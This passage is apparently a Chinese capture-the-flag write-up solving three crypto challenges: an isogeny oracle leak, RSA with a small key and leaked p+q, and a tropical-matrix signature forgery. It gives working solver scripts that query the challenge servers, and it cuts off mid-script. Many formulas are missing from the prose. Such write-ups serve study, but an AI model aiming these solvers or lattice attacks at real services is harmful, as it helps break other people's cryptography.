print(f"usage: {sys.argv[0]} HOST PORT [WORKERS]", file=sys.stderr)
print(f" or: cat banner.txt | {sys.argv[0]} parse", file=sys.stderr)
sys.exit(1)

也是在ubuntu里运行的

img

SU_isogeny

本题参考了论文:Solving the Hidden Number Problem for CSIDH and CSURF via Automated Coppersmith

题目信息

题目给了一个 main.sage,在线靶机提供三个菜单:

  1. 获取 pkA, pkB
  2. 输入两个公钥,返回 Gift
  3. 返回加密后的 flag

目标是恢复共享秘密,然后解密得到 flag。

一,源码分析

核心代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
p = 5326738796327623094747867617954605554069371494832722337612446642054009560026576537626892113026381253624626941643949444792662881241621373288942880288065659
F = GF(p)
pl = [x for x in prime_range(3, 374) + [587]]
pvA = [randint(-5, 5) for _ in pl]
pvB = [randint(-5, 5) for _ in pl]

def cal(A, sk):
E = EllipticCurve(F, [0, A, 0, 1, 0])
for sgn in [1, -1]:
for e, ell in zip(sk, pl):
for i in range(sgn * e):
while not (P := (p + 1) // ell * E.random_element()) or ell * P != 0:
pass
E = E.isogeny_codomain(P)
E = E.quadratic_twist()
return E.montgomery_model().a2()

交互逻辑中最关键的是第 2 个选项:

1
2
3
4
5
6
7
pkA = int(input("pkA >>> "))
pkB = int(input("pkB >>> "))
A = cal(pkA, pvB)
B = cal(pkB, pvA)
if A != B:
print("Illegal public key!")
print(f"Gift : {int(A) >> 200}")

而第 3 个选项加密方式是:

1
2
3
4
cipher = AES.new(
sha256(str(cal(cal(0, pvB), pvA)).encode()).digest(),
AES.MODE_ECB
).encrypt(pad(flag, 16))

因此最终要恢复的是共享秘密:

然后计算

再用 AES-ECB 解密密文。

1.cal 函数的真实含义

一眼看上去,cal(A, sk) 是在按秘密向量 sk 进行类群作用/同源行走。

但它不是最普通的“直接走所有步数”,因为代码里有:

1
2
3
4
5
for sgn in [1, -1]:
for e, ell in zip(sk, pl):
for i in range(sgn * e):
...
E = E.quadratic_twist()

结合 Python 的 range() 语义可知:

时,只有 sgn = 1 的那一轮会执行;

时,只有 sgn = -1 的那一轮会执行。

所以 cal 的过程可以理解为:

  1. 在原曲线上执行所有正指数对应的同源;
  2. 做一次 quadratic twist;
  3. 在 twist 后的曲线上执行所有负指数对应的同源;
  4. 再 twist 回来。

因此这题虽然看起来像 CSIDH,但它把“正指数”和“负指数”分配到了曲线和二次扭曲曲线两边。

2.Oracle 漏洞:Gift 只依赖第一个输入

从第 2 个选项的实现可以直接看出,服务器输出的是:

第二个输入只参与:

它的作用只是触发:

1
2
if A != B:
print("Illegal public key!")

但是不管是否合法,Gift 都照样输出。

所以第 2 个选项实际上给了我们一个 oracle:

这里 $$$$ 就是用户输入的第一个公钥。

也就是说:

第二个输入只影响“是否合法”的提示;

真正泄露的高位,完全由第一个输入决定。

这就是整道题最关键的漏洞。

3.twist / 逆元结构

本地旧交互里还观察到了:

1
2
twA = p - pkA
twB = p - pkB

而且 (pkA, pkB) 是合法对,(twB, twA) 也是合法对。

这说明这里和 CSIDH 中常见的“取逆元等于取 twist是一致的。

对 Montgomery 参数来说,取相反数对应二次扭曲,因此:

这也进一步说明,题目结构确实和类群作用 / CSIDH 风格高度一致。

4.攻击目标如何规约

由于我们可以查询:

所以对目标公钥 ,我们能拿到:

但是只拿到一个 $$$$ 的高位通常不够。

自然的想法是构造与 相关的“邻居公钥”,然后再问 oracle,拿到相关共享秘密的高位。

如果这些相关值之间满足低次代数关系,就可以把问题转成一个小根问题。

5.4-同源邻居构造

对于 Montgomery 参数 $$$$,它的两个 4-isogenous 邻居可以写成:

因此,对于目标公钥 ,可以构造出两个邻居:

同样地,也可以从 构造:

这样在查询时,可以向服务器发送:

虽然第二个输入并不影响 gift 的值,但这样可以尽量保持 pair 在同一个合法轨道里,减少报错干扰。

6.三个共享秘密之间的关系

设:

由于 的两个 4-同源邻居,对应的共享秘密也满足同样的 4-邻居关系。

三者满足以下三条模 $$$$ 的方程:

这三条关系就是后面格攻击的核心。

7.把高位泄露写成“高位已知 + 低位未知”

服务器给出的 Gift 是右移 200 位之后的值。

设三次查询返回的 Gift 分别为:

则可写成:

其中未知量满足:

将它们代入前面的三条关系,可得三个关于 的模方程:

于是问题转化为:

在模 $$$$ 上,求一个三元小根:

这是 Automated Coppersmith 非常标准的适用场景。

二,攻击整体流程

第一步:获取公钥与密文

第二步:构造两个 4-邻居

pkA 计算:

pkB 同样计算:

第三步:向 oracle 查询三次

分别发送:

1
2
3
(pkA, pkB)
(pkA_C, pkB_C)
(pkA_D, pkB_D)

记录返回的:

1
2
3
gift_A
gift_C
gift_D

第四步:建立三元小根方程组

令:

代入三条 4-邻居关系,得到三个模方程。

第五步:用 Coppersmith 恢复小根

将方程与边界:

丢给 Automated Coppersmith,求出 ,从而恢复:

第六步:解密 flag

计算:

然后执行 AES-ECB 解密。

具体实施流程与脚本:

先用下面这个脚本收集一组数据保存在本地的current_session.json中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
#!/usr/bin/env python3
import json
import re
import socket
import sys
from dataclasses import dataclass
from typing import Tuple

HOST = "1.95.115.179"
PORT = 10017
P = 5326738796327623094747867617954605554069371494832722337612446642054009560026576537626892113026381253624626941643949444792662881241621373288942880288065659
PROMPT = b">>> "


def inv(a: int) -> int:
return pow(a, -1, P)


def neigh_c(a: int) -> int:
# Paper / Corollary 1 notation: C = 2*(A-6)/(A+2)
return (2 * (a - 6) * inv(a + 2)) % P


def neigh_d(a: int) -> int:
# Paper / Proposition 1 notation: B = 2*(A+6)/(2-A)
return (2 * (a + 6) * inv(2 - a)) % P


@dataclass
class MenuClient:
sock: socket.socket

def recv_until(self, token: bytes, limit: int = 1 << 20) -> bytes:
data = b""
while token not in data:
chunk = self.sock.recv(4096)
if not chunk:
raise EOFError("connection closed")
data += chunk
if len(data) > limit:
raise RuntimeError("response too large")
return data

def sendline(self, line: str) -> None:
self.sock.sendall(line.encode() + b"\n")

def sync_menu(self) -> bytes:
return self.recv_until(PROMPT)

def get_public_keys(self) -> Tuple[int, int, str]:
self.sendline("1")
raw = self.sync_menu().decode(errors="replace")
m1 = re.search(r"pkA:\s*(\d+)", raw)
m2 = re.search(r"pkB:\s*(\d+)", raw)
if not (m1 and m2):
raise ValueError(f"failed to parse public keys from:\n{raw}")
return int(m1.group(1)), int(m2.group(1)), raw

def get_gift(self, x: int, y: int) -> Tuple[int, bool, str]:
self.sendline("2")
self.recv_until(b"pkA >>> ")
self.sendline(str(x))
self.recv_until(b"pkB >>> ")
self.sendline(str(y))
raw = self.sync_menu().decode(errors="replace")
m = re.search(r"Gift\s*:\s*(\d+)", raw)
if not m:
raise ValueError(f"failed to parse gift from:\n{raw}")
illegal = "Illegal public key!" in raw
return int(m.group(1)), illegal, raw

def get_ciphertext(self) -> Tuple[str, str]:
self.sendline("3")
raw = self.sync_menu().decode(errors="replace")
m = re.search(r"Here is your flag:\s*([0-9a-fA-F]+)", raw)
if not m:
raise ValueError(f"failed to parse ciphertext from:\n{raw}")
return m.group(1).lower(), raw

def close(self) -> None:
try:
self.sendline("4")
except Exception:
pass
try:
self.sock.close()
except Exception:
pass


def main() -> int:
out_path = sys.argv[1] if len(sys.argv) > 1 else "su_isogeny_session.json"
sock = socket.create_connection((HOST, PORT), timeout=90)
sock.settimeout(90)
cli = MenuClient(sock)

banner = cli.sync_menu().decode(errors="replace")
pkA, pkB, raw_opt1 = cli.get_public_keys()

Ac = neigh_c(pkA)
Ad = neigh_d(pkA)
Bc = neigh_c(pkB)
Bd = neigh_d(pkB)

gift0, illegal0, raw0 = cli.get_gift(0, 0)
giftA, illegalA, rawA = cli.get_gift(pkA, pkB)
giftAc, illegalAc, rawAc = cli.get_gift(Ac, Bc)
giftAd, illegalAd, rawAd = cli.get_gift(Ad, Bd)
ciphertext, raw3 = cli.get_ciphertext()
cli.close()

session = {
"host": HOST,
"port": PORT,
"p": str(P),
"menu_banner": banner,
"pkA": str(pkA),
"pkB": str(pkB),
"pkA_neighbor_c": str(Ac),
"pkA_neighbor_d": str(Ad),
"pkB_neighbor_c": str(Bc),
"pkB_neighbor_d": str(Bd),
"gifts": {
"0": {
"value": str(gift0),
"illegal": illegal0,
"raw": raw0,
},
"pkA": {
"value": str(giftA),
"illegal": illegalA,
"raw": rawA,
},
"pkA_neighbor_c": {
"value": str(giftAc),
"illegal": illegalAc,
"raw": rawAc,
},
"pkA_neighbor_d": {
"value": str(giftAd),
"illegal": illegalAd,
"raw": rawAd,
},
},
"ciphertext": ciphertext,
"raw": {
"option1": raw_opt1,
"option3": raw3,
},
"notes": {
"neighbor_c_formula": "2*(A-6)/(A+2) mod p",
"neighbor_d_formula": "2*(A+6)/(2-A) mod p",
"known_bits": 311,
"unknown_bits": 200,
},
}

with open(out_path, "w", encoding="utf-8") as f:
json.dump(session, f, indent=2)

print(json.dumps(session, indent=2))
return 0


if __name__ == "__main__":
raise SystemExit(main())

在一次交互拿到的json文件里的数据是:

{

“host”: “1.95.115.179”,

“port”: 10017,

“p”: “5326738796327623094747867617954605554069371494832722337612446642054009560026576537626892113026381253624626941643949444792662881241621373288942880288065659”,

“menu_banner”: “[1] Get public key\n[2] Get gift\n[3] Get flag\n[4] Exit\n>>> “,

“pkA”: “151378440433779556218395095682925025432188870040559250814467242524870839930857788644351398513840400061986553064682427360449972618138041951148398640225696”,

“pkB”: “2478857901357177992230880213641914932112237146977218656567069263356171408472561839167268987669239052315294242928692465524744758488281658153910636918367900”,

“pkA_neighbor_c”: “3527273799041307754149687879912897235277241128150339869133984968159242505700453669188548158530703693855293325524689374028715950339339325440429841434739189”,

“pkA_neighbor_d”: “452366173882791736153003451295699414241591842824316745337126162901248288027976121227363652523753149843611684591077674515769318755216210422076542259858922”,

“pkB_neighbor_c”: “4899654995685876736035864736646212728289083615794614320927498969157779860625905189068705070920067954900702026635284818094984652531030228656300574614420213”,

“pkB_neighbor_d”: “1861339495336989476115383385173364655715776177014546624763319721953052910655672107417448196981558473559292331647863468986909882891230355628617080088228341”,

“gifts”: {

​ “0”: {

​ “value”: “1542597059179252560420322707159759975538759077297032386848577640166862782960701761206980085894”,

​ “illegal”: true,

​ “raw”: “Illegal public key!\nGift : 1542597059179252560420322707159759975538759077297032386848577640166862782960701761206980085894\n[1] Get public key\n[2] Get gift\n[3] Get flag\n[4] Exit\n>>> “

​ },

​ “pkA”: {

​ “value”: “2219536030726287886937819047133986847661331123330020886214003182944876893417558640193091937995”,

​ “illegal”: false,

​ “raw”: “Gift : 2219536030726287886937819047133986847661331123330020886214003182944876893417558640193091937995\n[1] Get public key\n[2] Get gift\n[3] Get flag\n[4] Exit\n>>> “

​ },

​ “pkA_neighbor_c”: {

​ “value”: “1308743962026945362967007274888696541185005801121483974599288809194605753991572132704096434159”,

​ “illegal”: false,

​ “raw”: “Gift : 1308743962026945362967007274888696541185005801121483974599288809194605753991572132704096434159\n[1] Get public key\n[2] Get gift\n[3] Get flag\n[4] Exit\n>>> “

​ },

​ “pkA_neighbor_d”: {

​ “value”: “2620726296627612067680140020709040620696605205934370395936994637237855167073287444692020887244”,

​ “illegal”: false,

​ “raw”: “Gift : 2620726296627612067680140020709040620696605205934370395936994637237855167073287444692020887244\n[1] Get public key\n[2] Get gift\n[3] Get flag\n[4] Exit\n>>> “

​ }

},

“ciphertext”: “1b0f8a55504f3fbb5ef8a2f326551524c91da508b4aa532e91d58a2e5f273dc3a384486b424365a73090c23376cb0b3dfeddf68413c95b5360902cd3a87feb7985b6d6aadb47557f8f76bffb3714b354831300241e903f196b8c2c0873014789”,

“raw”: {

​ “option1”: “pkA: 151378440433779556218395095682925025432188870040559250814467242524870839930857788644351398513840400061986553064682427360449972618138041951148398640225696\npkB: 2478857901357177992230880213641914932112237146977218656567069263356171408472561839167268987669239052315294242928692465524744758488281658153910636918367900\n[1] Get public key\n[2] Get gift\n[3] Get flag\n[4] Exit\n>>> “,

​ “option3”: “Here is your flag: 1b0f8a55504f3fbb5ef8a2f326551524c91da508b4aa532e91d58a2e5f273dc3a384486b424365a73090c23376cb0b3dfeddf68413c95b5360902cd3a87feb7985b6d6aadb47557f8f76bffb3714b354831300241e903f196b8c2c0873014789\n[1] Get public key\n[2] Get gift\n[3] Get flag\n[4] Exit\n>>> “

},

“notes”: {

​ “neighbor_c_formula”: “2*(A-6)/(A+2) mod p”,

​ “neighbor_d_formula”: “2*(A+6)/(2-A) mod p”,

​ “known_bits”: 311,

​ “unknown_bits”: 200

}

}

后续也是用这些数据进行解密的

之后需要安装github里的automated-coppersmith和flatter仓库到sage下的同一个目录里,然后上传下面的解密脚本,这里我命名为recover_su_isogeny.sage:

img

因为我是在Windows的ubuntu里装了sagemath10.8版本,所以选择了在jupyter的cell里执行运行指令:!sage recover_su_isogeny.sage current_session.json coppersmithsMethod.sage optimalShiftPolys.sage

然后得到结果

img

recover_su_isogeny.sage:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
#!/usr/bin/env sage
import json
import sys
from Crypto.Cipher import AES
from Crypto.Hash import SHA256
from Crypto.Util.Padding import unpad

if len(sys.argv) < 4:
print("Usage: sage recover_su_isogeny_v2.sage session.json coppersmithsMethod.sage optimalShiftPolys.sage [stages]")
print("Example:")
print(" sage recover_su_isogeny_v2.sage current_session.json coppersmithsMethod.sage optimalShiftPolys.sage 2,3")
sys.exit(1)

session_path = sys.argv[1]
load(sys.argv[2])
load(sys.argv[3])

stage_arg = sys.argv[4] if len(sys.argv) >= 5 else None

def parse_stages(arg):
if arg is None or str(arg).strip() == "":
return None
out = []
for part in str(arg).split(','):
part = part.strip()
if not part:
continue
out.append(int(part))
return out

with open(session_path, "r", encoding="utf-8") as f:
session = json.load(f)

p = ZZ(session["p"])
unknown_bits = int(session.get("notes", {}).get("unknown_bits", 200))
A_hi = ZZ(session["gifts"]["pkA"]["value"])
B_hi = ZZ(session["gifts"]["pkA_neighbor_d"]["value"])
C_hi = ZZ(session["gifts"]["pkA_neighbor_c"]["value"])
A_MSB = A_hi << unknown_bits
B_MSB = B_hi << unknown_bits
C_MSB = C_hi << unknown_bits
ciphertext = bytes.fromhex(session["ciphertext"])

n = p.nbits()
known_bits = min(A_hi.nbits(), B_hi.nbits(), C_hi.nbits())
ratio = RR(known_bits) / RR(n)
print("[+] modulus bits =", n)
print("[+] unknown low bits =", unknown_bits)
print("[+] observed hi bits =", {"A": A_hi.nbits(), "B": B_hi.nbits(), "C": C_hi.nbits()})
print("[+] min known-bit ratio ~= %.4f" % ratio)

R.<x,y,z> = PolynomialRing(QQ, order="lex")

# Match the official automated-coppersmith CSIDH experiment naming:
# B = 2*(A+6)/(2-A) -> our pkA_neighbor_d
# C = 2*(A-6)/(A+2) -> our pkA_neighbor_c
f = (A_MSB + x) * (B_MSB + y) + 2 * (A_MSB + x) - 2 * (B_MSB + y) + 12
g = (C_MSB + z) * (B_MSB + y) + 2 * (B_MSB + y) - 2 * (C_MSB + z) + 12
h = (A_MSB + x) * (C_MSB + z) - 2 * (A_MSB + x) + 2 * (C_MSB + z) + 12

bounds = [2^unknown_bits, 2^unknown_bits, 2^unknown_bits]
polys = [f, g, h]


def default_stages():
# Paper / repo experiments for CSIDH at about 512 bits:
# m=3 works around k~318, m=6 around k~302, m=9 around k~297.
# Here stage i corresponds to overall m = 3*i.
if known_bits >= 318:
return [1, 2, 3]
if known_bits >= 302:
return [2, 3, 1]
return [3, 2, 4, 1]

stages = parse_stages(stage_arg) or default_stages()
print("[+] stage order =", stages)


def attack(polys, bounds, modulus, i):
m = i * len(polys)
M = (prod(polys)^i).monomials()
print("\n[+] Trying lattice stage i = %d (overall m = %d, |M| = %d)" % (i, m, len(M)))
F = constructOptimalShiftPolys(polys, M, modulus, m)
sols = coppersmithsMethod(F, modulus^m, bounds, verbose=True)
return sols


def try_decrypt(shared_coeff):
key = SHA256.new(str(shared_coeff).encode()).digest()
pt = AES.new(key, AES.MODE_ECB).decrypt(ciphertext)
try:
return unpad(pt, 16)
except Exception:
return pt


def looks_reasonable(pt):
if b"flag{" in pt or b"DASCTF{" in pt or b"ctf{" in pt or b"SU{" in pt:
return True
good = sum(32 <= c < 127 or c in (9, 10, 13) for c in pt)
return good >= max(8, len(pt) * 3 // 4)


def normalize_solutions(sols):
out = []
if sols is None:
return out
if isinstance(sols, (list, tuple)) and len(sols) == 3 and all(type(v) in [int, Integer] for v in sols):
return [list(sols)]
if isinstance(sols, (list, tuple)):
for item in sols:
if isinstance(item, (list, tuple)) and len(item) == 3:
out.append(list(item))
return out


seen = set()
for i in stages:
try:
sols = attack(polys, bounds, p, i)
except RuntimeError as e:
print("[!] Stage %d failed with RuntimeError: %s" % (i, e))
continue
except Exception as e:
print("[!] Stage %d failed with %s: %s" % (i, type(e).__name__, e))
continue

candidate_vectors = normalize_solutions(sols)
if not candidate_vectors:
print("[!] Stage %d returned no candidate vectors." % i)
continue

print("[+] Stage %d candidate count = %d" % (i, len(candidate_vectors)))
for (x0, y0, z0) in candidate_vectors:
x0 = ZZ(x0)
y0 = ZZ(y0)
z0 = ZZ(z0)
sig = (int(x0), int(y0), int(z0))
if sig in seen:
continue
seen.add(sig)

A = A_MSB + x0
B = B_MSB + y0
C = C_MSB + z0

ok = [
(A * B + 2 * A - 2 * B + 12) % p == 0,
(C * B + 2 * B - 2 * C + 12) % p == 0,
(A * C - 2 * A + 2 * C + 12) % p == 0,
]
print("[+] Candidate root:", [x0, y0, z0], "equations_ok=", ok)
if not all(ok):
continue
if not (0 <= x0 < 2^unknown_bits and 0 <= y0 < 2^unknown_bits and 0 <= z0 < 2^unknown_bits):
print("[!] Root outside expected bounds, skipping.")
continue

pt = try_decrypt(A)
print("[+] Candidate shared coefficient A =", A)
print("[+] Decrypted bytes =", pt)
if looks_reasonable(pt):
print("\n[SUCCESS] shared coefficient =", A)
print("[SUCCESS] plaintext =", pt)
sys.exit(0)

print("[!] No convincing plaintext recovered.")
sys.exit(2)

SU_rsa

题目背景与已知条件提取

审计一下,发现源码有以下漏洞:

私钥过小:参数 delta0 = 0.33,生成的小私钥 \sqrt{N$$,是典型的小私钥攻击(如 Wiener 或 Boneh-Durfee Attack)的信号。

信息泄露:参数 gamma = 0.39,给定的 p+$$ 抹去了低 399-bit 的结果。

这提供了一个强侧信道:我们已知 的高位,未知部分(设为)满足

在 RSA 密码体制中,公私钥满足基础同余式:

将其转化为等式,必定存在一个正整数 $$$$ 使得:

由于 ,故 k < 2^{338$$。

我们已知 p+x_$$,则有:

代入欧拉函数 中展开:

令已知常数部分A = N - S + 1,等式可化简为:

由于私钥 $$$$ 未知,我们在等式两边同时对 $$$$ 取模,从而彻底消除 $$$$ 的影响:

至此,我们将问题转化为了求解一个以 $$$$ 为模数的二元同余方程

令多项式 其中:

  • 变量 X \approx 2^{338$$
  • 变量 x_Y \approx 2^{400$$

根据 Boneh-Durfee 攻击的格规约理论,设 N^\gamm\delta < 1 - \sqrt{\gamma}$$,LLL 算法就能在多项式时间内找到小根。

本题中 ,理论上限为

题目设定的 ,完全在攻击的容杀范围内。

根据上述数学模型,我们通过构造 Boneh-Durfee 格,运用移位多项式构建矩阵,并使用 LLL 算法进行格规约。规约后提取出的短向量对应于原多项式在整数环上的根,最后通过结式消元求得

以下是完整的 SageMath 漏洞利用脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
from Crypto.Util.number import long_to_bytes

# ================= 1. 题目已知参数 =================
N = 92365041570462372694496496651667282908316053786471083312533551094859358939662811192309357413068144836081960414672809769129814451275108424713386238306177182140825824252259184919841474891970355752207481543452578432953022195722010812705782306205731767157651271014273754883051030386962308159187190936437331002989
e = 11633089755359155730032854124284730740460545725089199775211869030086463048569466235700655506823303064222805939489197357035944885122664953614035988089509444102297006881388753631007277010431324677648173190960390699105090653811124088765949042560547808833065231166764686483281256406724066581962151811900972309623
c = 49076508879433623834318443639845805924702010367241415781597554940403049101497178045621761451552507006243991929325463399667338925714447188113564536460416310188762062899293650186455723696904179965363708611266517356567118662976228548528309585295570466538477670197066337800061504038617109642090869630694149973251
S = 19240297841264250428793286039359194954582584333143975177275208231751442091402057804865382456405620130960721382582620473853285822817245042321797974264381440

# ================= 2. 攻击参数与多项式构造 =================
A = N - S + 1
X = 2^338 # k 的上界
Y = 2^400 # x0 的上界
m = 4 # x-shifts 维数
t = 1 # y-shifts 维数

print("[*] Building Polynomials...")
PR.<x,y> = PolynomialRing(ZZ)
f = x*(A - y) + 1

polys = []
for k in range(m + 1):
for i in range(m - k + 1):
polys.append(x^i * f^k * e^(m - k))
for j in range(1, t + 1):
polys.append(y^j * f^k * e^(m - k))

monomials = sorted(list(set(sum([p.monomials() for p in polys], []))))
dim = len(monomials)
print(f"[*] Lattice dimension: {dim}")

# ================= 3. 构造格矩阵并进行 LLL 规约 =================
M = Matrix(ZZ, dim, dim)
for i in range(dim):
for j in range(dim):
mono = monomials[j]
c_x, c_y = mono.degree(x), mono.degree(y)
M[i, j] = polys[i].monomial_coefficient(mono) * (X^c_x) * (Y^c_y)

print("[*] Running LLL reduction (this may take a few seconds)...")
B = M.LLL()

# ================= 4. 重构多项式与结式求根 =================
print("[*] Reconstructing polynomials...")
PR_QQ = PolynomialRing(QQ, names=('x', 'y'))
x_qq, y_qq = PR_QQ.gens()

roots_polys = []
for i in range(B.nrows()):
if B[i].is_zero():
continue
p_res = PR_QQ(0)
for j in range(dim):
mono = monomials[j]
c_x, c_y = mono.degree(x), mono.degree(y)
coef = QQ(B[i, j]) / QQ(X^c_x * Y^c_y)
p_res += coef * (x_qq^c_x * y_qq^c_y)

roots_polys.append(p_res)
if len(roots_polys) >= 2:
break

print("[*] Computing Resultant to find roots...")
res = roots_polys[0].resultant(roots_polys[1], y_qq)
res_x = res.univariate_polynomial()
x_roots = res_x.roots()

x0 = None
for r, _ in x_roots:
k_val = Integer(r)
# 利用字典精确替换底层变量,避免 KeyError
P1_y = roots_polys[0].subs({x_qq: k_val}).univariate_polynomial()
y_roots = P1_y.roots()
for yr, _ in y_roots:
if Integer(yr) > 0:
x0 = Integer(yr)
print(f"[+] Found x0 = {x0}")
break
if x0 is not None:
break

# ================= 5. 还原明文 FLAG =================
if x0 is not None:
p_plus_q = S + x0
PR_Z.<Z> = PolynomialRing(ZZ)
eq = Z^2 - p_plus_q * Z + N
p, q = [Integer(r) for r, _ in eq.roots()]

print(f"[+] Recovered p = {p}")
print(f"[+] Recovered q = {q}")

phi = (p - 1) * (q - 1)
d = inverse_mod(e, phi)
m_val = pow(c, d, N)
print(f"\n[+] FLAG: {long_to_bytes(int(m_val)).decode()}")
else:
print("[-] Failed to find roots. You may need to increase m and t.")

img

SU_Restaurant

一,分析题目:这不是普通矩阵,而是 min-plus / tropical 矩阵

题目里 PointBlock 重载了运算:

1
2
Point.__add__` 返回的是 `min(x, y)
Point.__mul__` 返回的是 `x + y

所以这里的“加法”和“乘法”实际是 tropical semiring(更准确地说是 min-plus semiring)上的运算:

对应的矩阵乘法也不是普通乘法,而是:

为了避免和普通加法混淆,下面统一用:

并定义

当我们点一次菜单 1 时,服务端会对消息 $$$$ 计算:

然后随机生成 ,再返回:

而在 eat() 里,服务端对我们提交的矩阵检查:

通过条件是:

  1. 所有元素都在
  2. rank(A) >= 7rank(B) >= 7
  3. rank(P) = rank(R) = rank(S) = 8

注意这里的 rank 是 numpy 的普通实数域矩阵秩,不是 tropical rank

三,正常情况下为什么一定成立

把题目里生成的 代入:

由于 min-plus 乘法对 可分配,有:

再利用

立刻得到:

所以正常生成的数据一定过校验

四,攻击思路:未知项只有一个,但它有全局下界

真正麻烦的是这一项:

因为 chef/cooker/fork 都不知道。

但是注意:chefcooker 中元素都是 randint(0,255) 生成的非负整数,所以 fork 的每个元素也一定非负,即

定义:

再定义一个下界矩阵:

那么对于任意

也就是说:

这里的“”是逐元素比较。

这就变成了整个题目的突破口:虽然不知道 ,但它对应的那一项不可能比 $$$$ 更小。

因此,只要我们能构造出一个矩阵 $$$$,满足:

  1. 其他两项严格大于 $$$$

那么就会有

然后再令

整个校验就被我们伪造通过了。

五,第一种构造:右侧构造(利用

我们人为选择两个矩阵:

然后定义:

于是

所以 M \otimes $$。

接下来只需要让

如果我们让 $$$$ 的每一列都不超过对应列最小值:

那么:

于是就得到

这时若再取两个“足够大”的满秩矩阵 $R,S$,使得

那么

因此只要最终提交的 满足秩要求,就通过了。

六,第二种构造:左侧构造(利用

右侧构造有时会随机失败,于是再做一个对称版本。

选择:

定义:

如果我们让 $$$$ 的每一行都不超过对应行最小值:

那么:

同理可得:

再把另外两项抬高即可。

所以整个利用可以写成:

先尝试右侧构造,不行就尝试左侧构造两者,都失败就重连,拿新的 36 字符串继续打

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
import socket
import re
import json
import random
import sys
from hashlib import sha3_512

import numpy as np

HOST = '101.245.107.149'
PORT = 10020


def H(x):
if isinstance(x, str):
x = x.encode()
return list(sha3_512(x).digest())


def mat_from_msg(msg: str) -> np.ndarray:
return np.array(H(msg), dtype=int).reshape(8, 8)


def minplus(A, B):
A = np.array(A, dtype=int)
B = np.array(B, dtype=int)
return (A[:, :, None] + B[None, :, :]).min(axis=1)


def rank(M) -> int:
return int(np.linalg.matrix_rank(np.array(M, dtype=float)))


def high_full() -> np.ndarray:
H = np.full((8, 8), 255, dtype=int)
np.fill_diagonal(H, 256)
return H


HI = high_full()


def forge(msg: str, trials: int = 5000):
M = mat_from_msg(msg)
r = M.min(axis=1)
c = M.min(axis=0)
L = r[:, None] + c[None, :]

# Right-side construction:
# W = (M * X) * Y = M * (X * Y)
# Force P = X * Y <= column minima, then W <= row_min + col_min <= M * F * M.
for _ in range(trials):
Y = np.column_stack([np.random.randint(0, int(cj) + 1, size=7) for cj in c]).astype(int)
if rank(Y) < 7:
continue

X = np.full((8, 7), 256, dtype=int)
X[np.arange(7), np.arange(7)] = 0
xmax = min(32, int(c.max()))
X[7, :] = np.random.randint(0, xmax + 1, size=7)

P = minplus(X, Y)
if rank(P) < 8 or np.any(P > c[None, :]):
continue

A = minplus(M, X)
B = Y
if rank(A) < 7:
continue

W = minplus(A, B)
if np.any(W > L):
continue
if not np.all(HI > W):
continue
if not np.all(minplus(HI, M) > W):
continue

return {
'A': A.tolist(),
'B': B.tolist(),
'P': P.tolist(),
'R': HI.tolist(),
'S': HI.tolist(),
}

# Left-side construction:
# W = X * (Y * M) = (X * Y) * M
# Force R = X * Y <= row minima, then W <= row_min + col_min <= M * F * M.
for _ in range(trials):
X = np.vstack([np.random.randint(0, int(ri) + 1, size=7) for ri in r]).astype(int)
if rank(X) < 7:
continue

Y = np.full((7, 8), 256, dtype=int)
for k in range(7):
Y[k, k] = 0
Y[k, 7] = random.randint(0, 32)

R = minplus(X, Y)
if rank(R) < 8 or np.any(R > r[:, None]):
continue

A = X
B = minplus(Y, M)
if rank(B) < 7:
continue

W = minplus(A, B)
if np.any(W > L):
continue
if not np.all(HI > W):
continue
if not np.all(minplus(M, HI) > W):
continue

return {
'A': A.tolist(),
'B': B.tolist(),
'P': HI.tolist(),
'R': R.tolist(),
'S': HI.tolist(),
}

return None


def recv_until(sock: socket.socket, marker: bytes = b'>>> ', timeout: float = 5.0) -> bytes:
sock.settimeout(timeout)
data = b''
while marker not in data:
chunk = sock.recv(4096)
if not chunk:
break
data += chunk
return data


def get_flag(max_attempts: int = 50):
for attempt in range(1, max_attempts + 1):
try:
sock = socket.create_connection((HOST, PORT), timeout=5)
_ = recv_until(sock, b'>>> ')
sock.sendall(b'2\n')
